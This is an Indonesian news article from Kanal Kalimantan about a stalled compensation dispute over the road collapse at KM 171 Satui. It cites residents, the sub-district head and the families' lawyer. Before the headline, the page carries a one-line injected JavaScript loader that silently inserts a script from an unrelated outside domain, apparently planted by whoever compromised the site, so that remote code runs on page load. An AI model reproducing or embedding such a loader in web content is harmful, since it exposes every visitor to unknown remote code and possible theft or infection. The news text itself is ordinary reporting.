(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Kuasa Hukum Korban Terdampak Longsor KM 171 Satui Sayangkan Sikap Saling Lempar Tanggung Jawab


KANALKALIMANTAN.COM, BATULICIN– Musyawarah warga dengan pihak terkait menyikapi dampak longsor Jalan Nasional KM 171 Desa Satui Barat Kecamatan Satui Kabupaten Tanah Bumbu, Kamis (20/10/2022), masih belum menemukan jalan keluar.

Diskusi pada meja panjang warga bersama pihak-pihak terkait adanya ganti rugi rumah warga terdampak di Desa Satui Barat Kabupaten Tanah Bumbu menemui jalan buntu. Sejumlah 107 penduduk Desa Satui Barat atau setara 23 Kartu Keluarga yang terdata menjadi korban longsor tersebut. Tidak hanya tempat usaha, bahkan rumah huni warga setempat retak berbarengan dengan amblesnya Jalan Nasional KM 171.

Mediasi pun sudah digelar, tepatnya di Kantor Bupati Tanah Bumbu, antara perusahaan tambang PT Arutmin Indonesia dan PT Mitra Jaya Abadi Bersama (MJAB) dengan perwakilan warga Desa Satui Barat.

Informasi terbaru, tim independen telah turun tangan menghitung kerugian di sana. Angkanya bervariasi. Paling rendah Rp90 juta, paling mahal Rp1,5 miliar. Namun warga menolaknya. Mereka punya hitungan sendiri.

 

Baca juga  : Brigjen Andi Rian Fasih Berbahasa Banjar, Klarifikasi Sorotan Publik terkait Baju Mahal

“Yang menghitung nilai tersebut, adalah KJPP (Kantor Jasa Penilai Publik) atau Tim Apresil, sesuai dengan nilai pasar kalau Tim Independen cuman memfasilitasi,” ungkap Kadri Mandar selaku Kabag Pemerintahan dan Camat Satui kepada Media Kanal Kalimantan, Kamis (20/10/2022).

“Pelaksanaan dari Tim Independen, tugasnya sudah selesai setelah nilai yang diperoleh dan disampaikan oleh KJPP, dan sudah difasilitasi oleh Pemkab Tanah Bumbu, akan tetapi rapat tidak terdapat kesepakatan dikarenakan Tim Kuasa Hukum Walk Out dalam rapat tersebut,” tambahnya.

Camat Satui menyatakan kalau warga terdampak sebagai korban longsor Jalan Nasional KM 171 Desa Satui Barat, sudah dibantu oleh Pemerintah Daerah Kabupaten Tanah Bumbu. Sejumlah warga pun di kini telah tempatkan di rumah yang menurutnya lebih aman.

Namun ganti rugi tetaplah harus diganti, sudah menjadi hak warga terdampak longsor karena imbas pertambangan tersebut. Isu yang beredar, warga menuntut harga Rp 2 juta per meter tanah mereka yang terdampak longsor.

 

Baca juga  : Parodikan Sosok Paman Birin, Gerakan Kolektif Hitam Kalsel: Kita Ingatkan Penguasa Lalai!

Direktur Kantor Bantuan Hukum MK Justice, Agus Rismalian Noor, yang juga selaku Kuasa Hukum Warga Desa Satui Barat yang terdampak longsornya Jalan KM 171 Satui, menyampaikan untuk warga yang sedang di advokasi sebanyak 23 Kepala Keluarga, tidak ada yang mematok harga Rp2 juta per meter untuk penggantian bidang tanah dan bangunan mereka yang hancur.

Bahwa warga dan kuasa hukumnya, juga meminta kepada Tim Independen dalam melakukan penilaian tanah dan bangunan terdampak untuk pula turut dinilai bidang tanah yang diatasnya tidak ada bangunan.

“Dari Laporan hasil penilaian yang kami terima dan tidak kami setujui ada bidang tanah yang dikuasai oleh warga terdampak tidak turut dilakukan penilaian, sedangkan bidang tanah tersebut saat ini juga telah dalam kondisi tidak bisa dimanfaatkan lagi,” katanya.

Bahwa turut disampaikan permintaan nilai penggantian bidang tanah dan bangunan yang diajukan oleh masyarakat korban terdampak tanah amblas dan retak yang diduga akibat aktifitas pertambangan batubara di Desa Satui Barat.

 

Baca juga  : Jalur Alternatif Penuh Lumpur, Longsor Jalan Nasional KM 171 Satui Tak Terlihat Perbaikan

Bahwa setelah surat tanggapan atas Laporan Hasil Penilaian Tanah dan Bangunan Terdampak ini, disampaikan dan mengingat kondisi pemukiman 23 Kepala Keluarga Masyarakat terdampak saat ini tidak aman lagi untuk ditempati.

Tertera dalam surat tanggapan nomor 015/kbh_MK.Justice/X-2022 menyatakan dalam usulan nilai penggantianbidang tanah dan bangunan terdampak tanah amblas dan rerak yang diduga akibat aktifitas pertambangan batubara di Satui Barat.

Misal usulan bidang milik Ariman dengan luas total tanah (250 m²), dengan usulan nilai penggantian Sporadik an ARIMAN Rp375.000.000.

“Dalam surat tersebut, terdapat rincian nilai usulan yang diusulkan oleh warga dan permintaan dari warga, tidak ada harga damai, karena warga kami ini korban, harapan warga sebenarnya tidak muluk, pemerintah segera tentukan siapa yang bertanggung jawab atas kerusakan yang terjadi dan segera lakukan penggantian, masalah nilai bisa di bicarakan setelah ada yang ditetapkan siapa yang bertanggung jawab, apakah pihak pemerintah atau pihak pelaku usaha/korporasi penambangan batubara,” pungkasnya.

 

Baca juga  : Soroti Jalan Longsor di Satui Akibat Tambang, Gubernur Mana! Gubernur Mana! Gubernur Mana!

Menurut warga hasil penilaian yang dilakukan oleh Tim Appraisal sangat rendah dibawah harga pasaran di wilayah itu.

“Sedangkan warga ini kan seandainya tidak terjadi kerusakan lingkungan yang diduga akibat aktivitas pertambangan itu, tidak akan menjual bidang tanah dan bangunan mereka, karena mereka sudah nyaman berada disana puluhan tahun, dan ada historis yang akan turut hilang ketika mereka berpindah dari pemukiman mereka itu, belum lagi pekerjaan dan hal lainnya,” tambahnya.

Ia sepakat sikap warga tegas dalam hal ini, pihak-pihak yang dianggap terlibat justru memilih lempar tanggung jawab, Agus Rismalian Noor sangat menyayangkan karena belum adanya kejelasan siapa pihak yang berani mengaku bertanggung jawab. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

4 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

5 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

5 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

5 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

5 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

5 jam ago

This website uses cookies.